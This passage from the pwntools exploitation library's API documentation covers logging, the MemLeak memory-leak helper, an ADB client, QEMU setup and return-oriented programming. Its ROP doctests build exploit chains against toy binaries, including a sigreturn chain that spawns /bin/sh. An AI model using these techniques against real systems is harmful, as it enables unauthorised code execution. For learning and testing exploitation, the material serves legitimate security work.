        p.status("At %i" % i)
        time.sleep(0.5)
    x = 1/0
```

waitfor(**args*, ***kwargs*)
  Alias for *progress()*.

indented(*message*, **args*, *level = logging.INFO*, ***kwargs*)
  Log a message but don't put a line prefix on it.

  > **Parameters** **level** (*int*) – Alternate log level at which to set the indented message. Defaults to `logging.INFO`.

success(*message*, **args*, ***kwargs*)
  Logs a success message.

failure(*message*, **args*, ***kwargs*)
  Logs a failure message.

info_once(*message*, **args*, ***kwargs*)
  Logs an info message. The same message is never printed again.

warning_once(*message*, **args*, ***kwargs*)
  Logs a warning message. The same message is never printed again.

warn_once(**args*, ***kwargs*)
  Alias for *warning_once()*.

debug(*message*, **args*, ***kwargs*)
  Logs a debug message.

info(*message*, **args*, ***kwargs*)
  Logs an info message.

warning(*message*, **args*, ***kwargs*)
  Logs a warning message.

warn(**args*, ***kwargs*)
  Alias for *warning()*.

error(*message*, **args*, ***kwargs*)
  To be called outside an exception handler.

  Logs an error message, then raises a `PwnlibException`.

exception (*message*, **args*, ***kwargs*)
  To be called from an exception handler.

  Logs a error message, then re-raises the current exception.

critical (*message*, **args*, ***kwargs*)
  Logs a critical message.

log (*level*, *message*, **args*, ***kwargs*)
  Logs a message with log level *level*. The `pwnlib` formatter will use the default `logging` formater to format this message.

isEnabledFor (*level*) → bool
  See if the underlying logger is enabled for the specified level.

setLevel (*level*)
  Set the logging level for the underlying logger.

addHandler (*handler*)
  Add the specified handler to the underlying logger.

removeHandler (*handler*)
  Remove the specified handler from the underlying logger.

class `pwnlib.log.`**Handler** (*stream=None*)
  A custom handler class. This class will report whatever `context.log_level` is currently set to as its log level.

  If `term.term_mode` is enabled log records originating from a progress logger will not be emitted but rather an animated progress line will be created.

  An instance of this handler is added to the `'pwnlib'` logger.

  Initialize the handler.

  If stream is not specified, sys.stderr is used.

  emit (*record*)
    Emit a log record or create/update an animated progress logger depending on whether `term.term_mode` is enabled.

class `pwnlib.log.`**Formatter** (*fmt=None*, *datefmt=None*)
  Logging formatter which performs custom formatting for log records containing the `'pwnlib_msgtype'` attribute. Other records are formatted using the *logging* modules default formatter.

  If `'pwnlib_msgtype'` is set, it performs the following actions:

    • A prefix looked up in *_msgtype_prefixes* is prepended to the message.

    • The message is prefixed such that it starts on column four.

    • If the message spans multiple lines they are split, and all subsequent lines are indented.

  This formatter is used by the handler installed on the `'pwnlib'` logger.

  Initialize the formatter with specified format strings.

  Initialize the formatter either with the specified format string, or a default as described above. Allow for specialized date formatting with the optional datefmt argument (if omitted, you get the ISO8601 format).

  format (*record*)
    Format the specified record as text.

The record's attribute dictionary is used as the operand to a string formatting operation which yields the returned string. Before formatting the dictionary, a couple of preparatory steps are carried out. The message attribute of the record is computed using LogRecord.getMessage(). If the formatting string uses the time (as determined by a call to usesTime(), formatTime() is called to format the event time. If there is exception information, it is formatted using formatException() and appended to the message.

2.18 `pwnlib.memleak` — Helper class for leaking memory

class `pwnlib.memleak.`**MemLeak**(*f*, *search_range=20*, *reraise=True*, *relative=False*)

MemLeak is a caching and heuristic tool for exploiting memory leaks.

It can be used as a decorator, around functions of the form:

def some_leaker(addr): … return data_as_string_or_None

It will cache leaked memory (which requires either non-randomized static data or a continouous session). If required, dynamic or known data can be set with the set-functions, but this is usually not required. If a byte cannot be recovered, it will try to leak nearby bytes in the hope that the byte is recovered as a side-effect.

> **Parameters**
>
> - **f** (`function`) – The leaker function.
>
> - **search_range** (`int`) – How many bytes to search backwards in case an address does not work.
>
> - **reraise** (`bool`) – Whether to reraise call `pwnlib.log.warning()` in case the leaker function throws an exception.

Example

```python
>>> import pwnlib
>>> binsh = pwnlib.util.misc.read('/bin/sh')
>>> @pwnlib.memleak.MemLeak
... def leaker(addr):
...     print "leaking 0x%x" % addr
...     return binsh[addr:addr+4]
>>> leaker.s(0)[:4]
leaking 0x0
leaking 0x4
'\x7fELF'
>>> leaker[:4]
'\x7fELF'
>>> hex(leaker.d(0))
'0x464c457f'
>>> hex(leaker.clearb(1))
'0x45'
>>> hex(leaker.d(0))
leaking 0x1
'0x464c457f'
>>> @pwnlib.memleak.MemLeak
... def leaker_nonulls(addr):
...     print "leaking 0x%x" % addr
...     if addr & 0xff == 0:
...         return None
...     return binsh[addr:addr+4]
```

(continues on next page)

```
>>> leaker_nonulls.d(0) == None
leaking 0x0
True
>>> leaker_nonulls[0x100:0x104] == binsh[0x100:0x104]
leaking 0x100
leaking 0xff
leaking 0x103
True
```

```
>>> memory = {-4+i: c for i,c in enumerate('wxyzABCDE')}
>>> def relative_leak(index):
...     return memory.get(index, None)
>>> leak = pwnlib.memleak.MemLeak(relative_leak, relative = True)
>>> leak[-1:2]
'zAB'
```

static NoNewlines(*function*)

> Wrapper for leak functions such that addresses which contain newline bytes are not leaked.
>
> This is useful if the address which is used for the leak is provided by e.g. fgets().

static NoNulls(*function*)

> Wrapper for leak functions such that addresses which contain NULL bytes are not leaked.
>
> This is useful if the address which is used for the leak is read in via a string-reading function like scanf("%s") or smilar.

static NoWhitespace(*function*)

> Wrapper for leak functions such that addresses which contain whitespace bytes are not leaked.
>
> This is useful if the address which is used for the leak is read in via e.g. scanf().

static String(*function*)

> Wrapper for leak functions which leak strings, such that a NULL terminator is automaticall added.
>
> This is useful if the data leaked is printed out as a NULL-terminated string, via e.g. printf().

b(*addr*, *ndx = 0*) → int

> Leak byte at ((uint8_t*) addr)[ndx]

Examples

```
>>> import string
>>> data = string.ascii_lowercase
>>> l = MemLeak(lambda a: data[a:a+2], reraise=False)
>>> l.b(0) == ord('a')
True
>>> l.b(25) == ord('z')
True
>>> l.b(26) is None
True
```

clearb(*addr*, *ndx = 0*) → int

> Clears byte at ((uint8_t*)addr)[ndx] from the cache and returns the removed value or *None* if the address was not completely set.

Examples

```
>>> l = MemLeak(lambda a: None)
>>> l.cache = {0:'a'}
>>> l.n(0,1) == 'a'
True
>>> l.clearb(0) == unpack('a', 8)
True
>>> l.cache
{}
>>> l.clearb(0) is None
True
```

cleard(*addr*, *ndx = 0*) → int

Clears dword at `((uint32_t*)addr)[ndx]` from the cache and returns the removed value or *None* if the address was not completely set.

Examples

```
>>> l = MemLeak(lambda a: None)
>>> l.cache = {0:'a', 1: 'b', 2: 'c', 3: 'd'}
>>> l.n(0, 4) == 'abcd'
True
>>> l.cleard(0) == unpack('abcd', 32)
True
>>> l.cache
{}
```

clearq(*addr*, *ndx = 0*) → int

Clears qword at `((uint64_t*)addr)[ndx]` from the cache and returns the removed value or *None* if the address was not completely set.

Examples

```
>>> c = MemLeak(lambda addr: '')
>>> c.cache = {x:'x' for x in range(0x100, 0x108)}
>>> c.clearq(0x100) == unpack('xxxxxxxx', 64)
True
>>> c.cache == {}
True
```

clearw(*addr*, *ndx = 0*) → int

Clears word at `((uint16_t*)addr)[ndx]` from the cache and returns the removed value or *None* if the address was not completely set.

Examples

```
>>> l = MemLeak(lambda a: None)
>>> l.cache = {0:'a', 1: 'b'}
>>> l.n(0, 2) == 'ab'
True
```

(continues on next page)

```
>>> l.clearw(0) == unpack('ab', 16)
True
>>> l.cache
{}
```

d (*addr*, *ndx = 0*) → int

Leak dword at `((uint32_t*) addr)[ndx]`

Examples

```
>>> import string
>>> data = string.ascii_lowercase
>>> l = MemLeak(lambda a: data[a:a+8], reraise=False)
>>> l.d(0) == unpack('abcd', 32)
True
>>> l.d(22) == unpack('wxyz', 32)
True
>>> l.d(23) is None
True
```

field (*address*, *obj*)

field(address, field) => a structure field.

Leak a field from a structure.

> **Parameters**
>
> - **address** (*int*) – Base address to calculate offsets from
> - **field** (*obj*) – Instance of a ctypes field

Return Value: The type of the return value will be dictated by the type of `field`.

field_compare (*address*, *obj*, *expected*)

field_compare(address, field, expected) ==> bool

Leak a field from a structure, with an expected value. As soon as any mismatch is found, stop leaking the structure.

> **Parameters**
>
> - **address** (*int*) – Base address to calculate offsets from
> - **field** (*obj*) – Instance of a ctypes field
> - **expected** (*int, str*) – Expected value

Return Value: The type of the return value will be dictated by the type of `field`.

n (*addr*, *ndx = 0*) → str

Leak *numb* bytes at *addr*.

> **Returns** A string with the leaked bytes, will return *None* if any are missing

Examples

```
>>> import string
>>> data = string.ascii_lowercase
>>> l = MemLeak(lambda a: data[a:a+4], reraise=False)
>>> l.n(0,1) == 'a'
True
>>> l.n(0,26) == data
True
>>> len(l.n(0,26)) == 26
True
>>> l.n(0,27) is None
True
```

p (*addr*, *ndx = 0*) → int

Leak a pointer-width value at `((void**) addr)[ndx]`

p16 (*addr*, *val*, *ndx=0*)

Sets word at `((uint16_t*)addr)[ndx]` to *val* in the cache.

Examples

```
>>> l = MemLeak(lambda x: '')
>>> l.cache == {}
True
>>> l.setw(33, 0x41)
>>> l.cache == {33: 'A', 34: '\x00'}
True
```

p32 (*addr*, *val*, *ndx=0*)

Sets dword at `((uint32_t*)addr)[ndx]` to *val* in the cache.

Examples

See *setw()*.

p64 (*addr*, *val*, *ndx=0*)

Sets qword at `((uint64_t*)addr)[ndx]` to *val* in the cache.

Examples

See *setw()*.

p8 (*addr*, *val*, *ndx=0*)

Sets byte at `((uint8_t*)addr)[ndx]` to *val* in the cache.

Examples

```
>>> l = MemLeak(lambda x: '')
>>> l.cache == {}
True
```

```
>>> l.setb(33, 0x41)
>>> l.cache == {33: 'A'}
True
```

q (*addr*, *ndx = 0*) → int
     Leak qword at `((uint64_t*) addr)[ndx]`

Examples

```
>>> import string
>>> data = string.ascii_lowercase
>>> l = MemLeak(lambda a: data[a:a+16], reraise=False)
>>> l.q(0) == unpack('abcdefgh', 64)
True
>>> l.q(18) == unpack('stuvwxyz', 64)
True
>>> l.q(19) is None
True
```

raw (*addr*, *numb*) → list
     Leak *numb* bytes at *addr*

s (*addr*) → str
     Leak bytes at *addr* until failure or a nullbyte is found

> **Returns** A string, without a NULL terminator. The returned string will be empty if the first byte
>   is a NULL terminator, or if the first byte could not be retrieved.

Examples

```
>>> data = "Hello\x00World"
>>> l = MemLeak(lambda a: data[a:a+4], reraise=False)
>>> l.s(0) == "Hello"
True
>>> l.s(5) == ""
True
>>> l.s(6) == "World"
True
>>> l.s(999) == ""
True
```

setb (*addr*, *val*, *ndx=0*)
     Sets byte at `((uint8_t*)addr)[ndx]` to *val* in the cache.

Examples

```
>>> l = MemLeak(lambda x: '')
>>> l.cache == {}
True
>>> l.setb(33, 0x41)
>>> l.cache == {33: 'A'}
True
```

setd(*addr*, *val*, *ndx=0*)
> Sets dword at `((uint32_t*)addr)[ndx]` to *val* in the cache.

Examples

> See *setw()*.

setq(*addr*, *val*, *ndx=0*)
> Sets qword at `((uint64_t*)addr)[ndx]` to *val* in the cache.

Examples

> See *setw()*.

sets(*addr*, *val*, *null_terminate=True*)
> Set known string at *addr*, which will be optionally be null-terminated

> Note that this method is a bit dumb about how it handles the data. It will null-terminate the data, but it will not stop at the first null.

Examples

```
>>> l = MemLeak(lambda x: '')
>>> l.cache == {}
True
>>> l.sets(0, 'H\x00ello')
>>> l.cache == {0: 'H', 1: '\x00', 2: 'e', 3: 'l', 4: 'l', 5: 'o', 6: '\x00'}
True
```

setw(*addr*, *val*, *ndx=0*)
> Sets word at `((uint16_t*)addr)[ndx]` to *val* in the cache.

Examples

```
>>> l = MemLeak(lambda x: '')
>>> l.cache == {}
True
>>> l.setw(33, 0x41)
>>> l.cache == {33: 'A', 34: '\x00'}
True
```

struct(*address*, *struct*)
> struct(address, struct) => structure object Leak an entire structure. :param address: Addess of structure in memory :type address: int :param struct: A ctypes structure to be instantiated with leaked data :type struct: class

> **Return Value:** An instance of the provided struct class, with the leaked data decoded

---

Examples

```
>>> @pwnlib.memleak.MemLeak
... def leaker(addr):
...     return "A"
>>> e = leaker.struct(0, pwnlib.elf.Elf32_Phdr)
>>> hex(e.p_paddr)
'0x41414141'
```

u16 (*addr*, *ndx=0*)

w(addr, ndx = 0) -> int

Leak word at `((uint16_t*) addr)[ndx]`

Examples

```
>>> import string
>>> data = string.ascii_lowercase
>>> l = MemLeak(lambda a: data[a:a+4], reraise=False)
>>> l.w(0) == unpack('ab', 16)
True
>>> l.w(24) == unpack('yz', 16)
True
>>> l.w(25) is None
True
```

u32 (*addr*, *ndx=0*)

d(addr, ndx = 0) -> int

Leak dword at `((uint32_t*) addr)[ndx]`

Examples

```
>>> import string
>>> data = string.ascii_lowercase
>>> l = MemLeak(lambda a: data[a:a+8], reraise=False)
>>> l.d(0) == unpack('abcd', 32)
True
>>> l.d(22) == unpack('wxyz', 32)
True
>>> l.d(23) is None
True
```

u64 (*addr*, *ndx=0*)

q(addr, ndx = 0) -> int

Leak qword at `((uint64_t*) addr)[ndx]`

Examples

```
>>> import string
>>> data = string.ascii_lowercase
```

```
>>> l = MemLeak(lambda a: data[a:a+16], reraise=False)
>>> l.q(0) == unpack('abcdefgh', 64)
True
>>> l.q(18) == unpack('stuvwxyz', 64)
True
>>> l.q(19) is None
True
```

u8 (*addr*, *ndx=0*)
    b(addr, ndx = 0) -> int

    Leak byte at ((uint8_t*) addr)[ndx]

Examples

```
>>> import string
>>> data = string.ascii_lowercase
>>> l = MemLeak(lambda a: data[a:a+2], reraise=False)
>>> l.b(0) == ord('a')
True
>>> l.b(25) == ord('z')
True
>>> l.b(26) is None
True
```

w (*addr*, *ndx = 0*) → int
    Leak word at ((uint16_t*) addr)[ndx]

Examples

```
>>> import string
>>> data = string.ascii_lowercase
>>> l = MemLeak(lambda a: data[a:a+4], reraise=False)
>>> l.w(0) == unpack('ab', 16)
True
>>> l.w(24) == unpack('yz', 16)
True
>>> l.w(25) is None
True
```

class pwnlib.memleak.**RelativeMemLeak**(**a*, ***kw*)

2.19 `pwnlib.protocols` — Wire Protocols

2.19.1 Supported Protocols

`pwnlib.protocols.adb` — ADB Protocol Implementation

Implementation of the Android Debug Bridge (ADB) protocol.

Documentation is available here.

class pwnlib.protocols.adb.**AdbClient**(*level=None*)

ADB Client

devices(**a*, ***kw*)

Parameters **long** (*bool*) – If `True`, fetch the long-format listing.

Returns String representation of all available devices.

execute(**a*, ***kw*)

Executes a program on the device.

Returns A *pwnlib.tubes.tube.tube* which is connected to the process.

Examples

```
>>> pwnlib.protocols.adb.AdbClient().execute(['echo','hello']).recvall()
'hello\n'
```

kill(**a*, ***kw*)

Kills the remote ADB server"

```
>>> c=pwnlib.protocols.adb.AdbClient()
>>> c.kill()
```

The server is automatically re-started on the next request, if the default host/port are used.

```
>>> c.version() > (4,0)
True
```

list(*path*)

Execute the `LIST` command of the `SYNC` API.

Parameters **path** (*str*) – Path of the directory to list.

Returns A dictionary, where the keys are relative filenames, and the values are a dictionary containing the same values as `stat()` supplies.

Note: In recent releases of Android (e.g. 7.0), the domain that adbd executes from does not have access to everything that the shell user does.

Because of this, while the shell user can get listings of e.g. the root directory ('/'), adbd cannot.

The SYNC APIs are executed within the adbd context, not the shell user context.

This issue is not a problem if the phone is rooted via 'adb root', since adbd then runs in the `su` domain.

Examples

```
>>> pprint(AdbClient().list('/data/user'))
{'0': {'mode': 41471, 'size': 11, 'time': ...}}
>>> AdbClient().list('/does/not/exist')
Traceback (most recent call last):
...
PwnlibException: Cannot list directory '/does/not/exist': Does not exist
```

read(*a*, ***kw*)

Execute the READ command of the SYNC API.

> **Parameters**
>
> - **path** (*str*) – Path to the file to read
> - **filesize** (*int*) – Size of the file, in bytes. Optional.
> - **callback** (*callable*) – Callback function invoked as data becomes available. Arguments provided are:
>   - File path
>   - All data
>   - Expected size of all data
>   - Current chunk
>   - Expected size of chunk
>
> **Returns** The data received as a string.

recvl()

Receives a length-prefixed data buffer from the ADB server

send(*a*, ***kw*)

Sends data to the ADB server

stat(*a*, ***kw*)

Execute the STAT command of the SYNC API.

> **Parameters** **path** (*str*) – Path to the file to stat.
>
> **Returns** On success, a dictionary mapping the values returned. If the file cannot be ``stat()``ed, None is returned.

Example

```
>>> expected = {'mode': 16749, 'size': 0, 'time': 0}
>>> pwnlib.protocols.adb.AdbClient().stat('/proc')          == expected
True
>>> pwnlib.protocols.adb.AdbClient().stat('/does/not/exist') == None
True
```

track_devices(*a*, ***kw*)

> **Returns** Generator which returns a short-format listing of available devices each time a device state changes.

transport(*serial=None*)

Sets the Transport on the rmeote device.

Examples

```
>>> pwnlib.protocols.adb.AdbClient().transport()
```

unpack(*a*, ***kw*)

Receives a hex-ascii packed integer from the ADB server

---

version (**a*, ***kw*)

> **Returns** Tuple containing the (`major, minor`) version from the ADB server

Example

```
>>> pwnlib.protocols.adb.AdbClient().version()
(4, 36)
```

write (*path*, *data*, *mode=493*, *timestamp=None*, *callback=None*)
    Execute the `WRITE` command of the `SYNC` API.

> **Parameters**
>
> - **path** (`str`) – Path to the file to write
> - **data** (`str`) – Data to write to the file
> - **mode** (`int`) – File mode to set (e.g. `0o755`)
> - **timestamp** (`int`) – Unix timestamp to set the file date to
> - **callback** (`callable`) – Callback function invoked as data is written. Arguments provided are:
>   - File path
>   - All data
>   - Expected size of all data
>   - Current chunk
>   - Expected size of chunk

c
    AdbClient's connection to the ADB server

class pwnlib.protocols.adb.**Connection** (*host*, *port*, *level=None*, **a*, ***kw*)
    Connection to the ADB server

close ()
    Closes the tube.

class pwnlib.protocols.adb.**Message** (*string*)
    An ADB hex-length-prefixed message

class pwnlib.protocols.adb.**Process** (*host*, *port*, *level=None*, **a*, ***kw*)
    Duck-typed `tubes.remote` object to add properties of a `tubes.process`

pwnlib.protocols.adb.**proxy** (*port=9999*)
    Starts an ADB proxy on the specified port, for debugging purposes.

2.20 `pwnlib.qemu` — QEMU Utilities

Run foreign-architecture binaries

2.20.1 Overview

So you want to exploit ARM binaries on your Intel PC?

Pwntools has a good level of integration with QEMU user-mode emulation, in order to run, debug, and pwn foreign architecture binaries.

In general, everything magic happens "behind the scenes", and pwntools attempts to make your life easier.

When using *process.process*, pwntools will attempt to blindly execute the binary, in case your system is configured to use `binfmt-misc`.

If this fails, pwntools will attempt to manually launch the binary under qemu user-mode emulation. Preference is given to statically-linked variants, i.e. `qemu-arm-static` will be selected before `qemu-arm`.

Debugging

When debugging binaries with *gdb.debug()*, pwntools automatically adds the appropriate command-line flags to QEMU to start its GDB stub, and automatically informs GDB of the correct architecture and sysroot.

Sysroot

You can override the default sysroot by setting the `QEMU_LD_PREFIX` environment variable. This affects where qemu will look for files when `open()` is called, e.g. when the linker is attempting to resolve `libc.so`.

2.20.2 Required Setup

For Ubuntu 16.04 and newer, the setup is relatively straightforward for most architectures.

First, install the QEMU emulator itself. If your binary is statically-linked, thsi is sufficient.

> $ sudo apt-get install qemu-user

If your binary is dynamically linked, you need to install libraries like libc. Generally, this package is named `libc6-$ARCH-cross`, e.g. `libc-mips-cross`. ARM comes in both soft-float and hard-float variants, e.g. `armhf`.

> $ sudo apt-get install libc6-arm64-cross

If your binary relies on additional libraries, you can generally find them easily with `apt-cache search`. For example, if it's a C++ binary it may require `libstdc++`.

> $ apt-cache search 'libstdc++' | grep arm64

Any other libraries that you require you'll have to find some other way.

Telling QEMU Where Libraries Are

The libraries are now installed on your system at e.g. `/usr/aarch64-linux-gnu`.

QEMU does not know where they are, and expects them to be at e.g. `/etc/qemu-binfmt/aarch64`. If you try to run your library now, you'll probably see an error about `libc.so.6` missing.

Create the `/etc/qemu-binfmt` directory if it does not exist, and create a symlink to the appropriate path.

> $ sudo mkdir /etc/qemu-binfmt $ sudo ln -s /usr/aarch64-linux-gnu /etc/qemu-binfmt/aarch64

Now QEMU should be able to run the libraries.

pwnlib.qemu.**archname**(**a*, ***kw*)

> Returns the name which QEMU uses for the currently selected architecture.

```
>>> pwnlib.qemu.archname()
'i386'
>>> pwnlib.qemu.archname(arch='powerpc')
'ppc'
```

pwnlib.qemu.**ld_prefix**(**a*, ***kw*)

> Returns the linker prefix for the selected qemu-user binary

```
>>> pwnlib.qemu.ld_prefix(arch='arm')
'/etc/qemu-binfmt/arm'
```

pwnlib.qemu.**user_path**(**a*, ***kw*)

> Returns the path to the QEMU-user binary for the currently selected architecture.

```
>>> pwnlib.qemu.user_path()
'qemu-i386-static'
>>> pwnlib.qemu.user_path(arch='thumb')
'qemu-arm-static'
```

2.21 `pwnlib.replacements` — Replacements for various functions

Improved replacements for standard functions

pwnlib.replacements.**sleep**(*n*)

> Replacement for time.sleep(), which does not return if a signal is received.
>
> > **Parameters**   **n** (*int*) – Number of seconds to sleep.

2.22 `pwnlib.rop` — Return Oriented Programming

2.22.1 Submodules

`pwnlib.rop.rop` — Return Oriented Programming

Return Oriented Programming

Manual ROP

The ROP tool can be used to build stacks pretty trivially. Let's create a fake binary which has some symbols which might have been useful.

```
>>> context.clear(arch='i386')
>>> binary = ELF.from_assembly('add esp, 0x10; ret')
>>> binary.symbols = {'read': 0xdeadbeef, 'write': 0xdecafbad, 'exit': 0xfeedface}
```

Creating a ROP object which looks up symbols in the binary is pretty straightforward.

```
>>> rop = ROP(binary)
```

With the ROP object, you can manually add stack frames.

```
>>> rop.raw(0)
>>> rop.raw(unpack('abcd'))
>>> rop.raw(2)
```

Inspecting the ROP stack is easy, and laid out in an easy-to-read manner.

```
>>> print rop.dump()
0x0000:              0x0
0x0004:       0x64636261
0x0008:              0x2
```

The ROP module is also aware of how to make function calls with standard Linux ABIs.

```
>>> rop.call('read', [4,5,6])
>>> print rop.dump()
0x0000:              0x0
0x0004:       0x64636261
0x0008:              0x2
0x000c:       0xdeadbeef read(4, 5, 6)
0x0010:           'eaaa' <return address>
0x0014:              0x4 arg0
0x0018:              0x5 arg1
0x001c:              0x6 arg2
```

You can also use a shorthand to invoke calls. The stack is automatically adjusted for the next frame

```
>>> rop.write(7,8,9)
>>> rop.exit()
>>> print rop.dump()
0x0000:              0x0
0x0004:       0x64636261
0x0008:              0x2
0x000c:       0xdeadbeef read(4, 5, 6)
0x0010:       0x10000000 <adjust @0x24> add esp, 0x10; ret
0x0014:              0x4 arg0
0x0018:              0x5 arg1
0x001c:              0x6 arg2
0x0020:           'iaaa' <pad>
0x0024:       0xdecafbad write(7, 8, 9)
0x0028:       0x10000000 <adjust @0x3c> add esp, 0x10; ret
0x002c:              0x7 arg0
0x0030:              0x8 arg1
0x0034:              0x9 arg2
0x0038:           'oaaa' <pad>
0x003c:       0xfeedface exit()
```

ROP Example

Let's assume we have a trivial binary that just reads some data onto the stack, and returns.

```
>>> context.clear(arch='i386')
>>> c = constants
>>> assembly =  'read:'      + shellcraft.read(c.STDIN_FILENO, 'esp', 1024)
>>> assembly += 'ret\n'
```

Let's provide some simple gadgets:

```
>>> assembly += 'add_esp: add esp, 0x10; ret\n'
```

And perhaps a nice "write" function.

```
>>> assembly += 'write: enter 0,0\n'
>>> assembly += '    mov ebx, [ebp+4+4]\n'
>>> assembly += '    mov ecx, [ebp+4+8]\n'
>>> assembly += '    mov edx, [ebp+4+12]\n'
>>> assembly += shellcraft.write('ebx', 'ecx', 'edx')
>>> assembly += '    leave\n'
>>> assembly += '    ret\n'
>>> assembly += 'flag: .asciz "The flag"\n'
```

And a way to exit cleanly.

```
>>> assembly += 'exit: ' + shellcraft.exit(0)
>>> binary   = ELF.from_assembly(assembly)
```

Finally, let's build our ROP stack

```
>>> rop = ROP(binary)
>>> rop.write(c.STDOUT_FILENO, binary.symbols['flag'], 8)
>>> rop.exit()
>>> print rop.dump()
0x0000:        0x10000012 write(STDOUT_FILENO, 0x10000026, 8)
0x0004:        0x1000000e <adjust @0x18> add esp, 0x10; ret
0x0008:               0x1 arg0
0x000c:        0x10000026 flag
0x0010:               0x8 arg2
0x0014:            'faaa' <pad>
0x0018:        0x1000002f exit()
```

The raw data from the ROP stack is available via *str*.

```
>>> raw_rop = str(rop)
>>> print enhex(raw_rop)
120000100e00001001000000260000100800000066616161612f000010
```

Let's try it out!

```
>>> p = process(binary.path)
>>> p.send(raw_rop)
>>> print p.recvall(timeout=5)
The flag
```

ROP Example (amd64)

For amd64 binaries, the registers are loaded off the stack. Pwntools can do basic reasoning about simple "pop; pop; add; ret"-style gadgets, and satisfy requirements so that everything "just works".

```
>>> context.clear(arch='amd64')
>>> assembly = 'pop rdx; pop rdi; pop rsi; add rsp, 0x20; ret; target: ret'
>>> binary = ELF.from_assembly(assembly)
>>> rop = ROP(binary)
```

```
>>> rop.target(1,2,3)
>>> print rop.dump()
0x0000:        0x10000000 pop rdx; pop rdi; pop rsi; add rsp, 0x20; ret
0x0008:               0x3 [arg2] rdx = 3
0x0010:               0x1 [arg0] rdi = 1
0x0018:               0x2 [arg1] rsi = 2
0x0020:        'iaaajaaa' <pad 0x20>
0x0028:        'kaaalaaa' <pad 0x18>
0x0030:        'maaanaaa' <pad 0x10>
0x0038:        'oaaapaaa' <pad 0x8>
0x0040:        0x10000008 target
>>> rop.target(1)
>>> print rop.dump()
0x0000:        0x10000000 pop rdx; pop rdi; pop rsi; add rsp, 0x20; ret
0x0008:               0x3 [arg2] rdx = 3
0x0010:               0x1 [arg0] rdi = 1
0x0018:               0x2 [arg1] rsi = 2
0x0020:        'iaaajaaa' <pad 0x20>
0x0028:        'kaaalaaa' <pad 0x18>
0x0030:        'maaanaaa' <pad 0x10>
0x0038:        'oaaapaaa' <pad 0x8>
0x0040:        0x10000008 target
0x0048:        0x10000001 pop rdi; pop rsi; add rsp, 0x20; ret
0x0050:               0x1 [arg0] rdi = 1
0x0058:        'waaaxaaa' <pad rsi>
0x0060:        'yaaazaab' <pad 0x20>
0x0068:        'baabcaab' <pad 0x18>
0x0070:        'daabeaab' <pad 0x10>
0x0078:        'faabgaab' <pad 0x8>
0x0080:        0x10000008 target
```

Pwntools will also filter out some bad instructions while setting the registers (e.g. syscall, int 0x80. . .)

```
>>> assembly = 'syscall; pop rdx; pop rsi; ret ; pop rdi ; int 0x80; pop rsi; pop rdx;
↪ ret ; pop rdi ; ret'
>>> binary = ELF.from_assembly(assembly)
>>> rop = ROP(binary)
>>> rop.call(0xdeadbeef, [1, 2, 3])
>>> print rop.dump()
0x0000:        0x1000000b pop rdi; ret
0x0008:               0x1 [arg0] rdi = 1
0x0010:        0x10000008 pop rsi; pop rdx; ret
0x0018:               0x2 [arg1] rsi = 2
0x0020:               0x3 [arg2] rdx = 3
0x0028:        0xdeadbeef
```

ROP + Sigreturn

In some cases, control of the desired register is not available. However, if you have control of the stack, EAX, and can find a *int 0x80* gadget, you can use sigreturn.

Even better, this happens automagically.

Our example binary will read some data onto the stack, and not do anything else interesting.

```
>>> context.clear(arch='i386')
>>> c = constants
>>> assembly =  'read:'       + shellcraft.read(c.STDIN_FILENO, 'esp', 1024)
>>> assembly += 'ret\n'
>>> assembly += 'pop eax; ret\n'
>>> assembly += 'int 0x80\n'
>>> assembly += 'binsh: .asciz "/bin/sh"'
>>> binary    = ELF.from_assembly(assembly)
```

Let's create a ROP object and invoke the call.

```
>>> context.kernel = 'amd64'
>>> rop   = ROP(binary)
>>> binsh = binary.symbols['binsh']
>>> rop.execve(binsh, 0, 0)
```

That's all there is to it.

```
>>> print rop.dump()
0x0000:        0x1000000e pop eax; ret
0x0004:              0x77 [arg0] eax = SYS_sigreturn
0x0008:        0x1000000b int 0x80
0x000c:               0x0 gs
0x0010:               0x0 fs
0x0014:               0x0 es
0x0018:               0x0 ds
0x001c:               0x0 edi
0x0020:               0x0 esi
0x0024:               0x0 ebp
0x0028:               0x0 esp
0x002c:        0x10000012 ebx = binsh
0x0030:               0x0 edx
0x0034:               0x0 ecx
0x0038:               0xb eax
0x003c:               0x0 trapno
0x0040:               0x0 err
0x0044:        0x1000000b int 0x80
0x0048:              0x23 cs
0x004c:               0x0 eflags
0x0050:               0x0 esp_at_signal
0x0054:              0x2b ss
0x0058:               0x0 fpstate
```

Let's try it out!

```
>>> p = process(binary.path)
>>> p.send(str(rop))
>>> time.sleep(1)
>>> p.sendline('echo hello; exit')
>>> p.recvline()
'hello\n'
```

class pwnlib.rop.rop.**ROP**(*elfs*, *base=None*, *badchars=''*, ***kwargs*)

    Class which simplifies the generation of ROP-chains.

    Example:

```
elf = ELF('ropasaurusrex')
rop = ROP(elf)
rop.read(0, elf.bss(0x80))
rop.dump()
# ['0x0000:        0x80482fc (read)',
#  '0x0004:        0xdeadbeef',
#  '0x0008:              0x0',
#  '0x000c:        0x80496a8']
str(rop)
# '\xfc\x82\x04\x08\xef\xbe\xad\xde\x00\x00\x00\x00\xa8\x96\x04\x08'
```

```
>>> context.clear(arch = "i386", kernel = 'amd64')
>>> assembly = 'int 0x80; ret; add esp, 0x10; ret; pop eax; ret'
>>> e = ELF.from_assembly(assembly)
>>> e.symbols['funcname'] = e.address + 0x1234
>>> r = ROP(e)
>>> r.funcname(1, 2)
>>> r.funcname(3)
>>> r.execve(4, 5, 6)
>>> print r.dump()
0x0000:        0x10001234 funcname(1, 2)
0x0004:        0x10000003 <adjust @0x18> add esp, 0x10; ret
0x0008:              0x1 arg0
0x000c:              0x2 arg1
0x0010:           'eaaa' <pad>
0x0014:           'faaa' <pad>
0x0018:        0x10001234 funcname(3)
0x001c:        0x10000007 <adjust @0x24> pop eax; ret
0x0020:              0x3 arg0
0x0024:        0x10000007 pop eax; ret
0x0028:             0x77 [arg0] eax = SYS_sigreturn
0x002c:        0x10000000 int 0x80
0x0030:              0x0 gs
0x0034:              0x0 fs
0x0038:              0x0 es
0x003c:              0x0 ds
0x0040:              0x0 edi
0x0044:              0x0 esi
0x0048:              0x0 ebp
0x004c:              0x0 esp
0x0050:              0x4 ebx
0x0054:              0x6 edx
0x0058:              0x5 ecx
0x005c:              0xb eax
0x0060:              0x0 trapno
0x0064:              0x0 err
0x0068:        0x10000000 int 0x80
0x006c:             0x23 cs
0x0070:              0x0 eflags
0x0074:              0x0 esp_at_signal
0x0078:             0x2b ss
0x007c:              0x0 fpstate
```

```
>>> r = ROP(e, 0x8048000)
>>> r.funcname(1, 2)
>>> r.funcname(3)
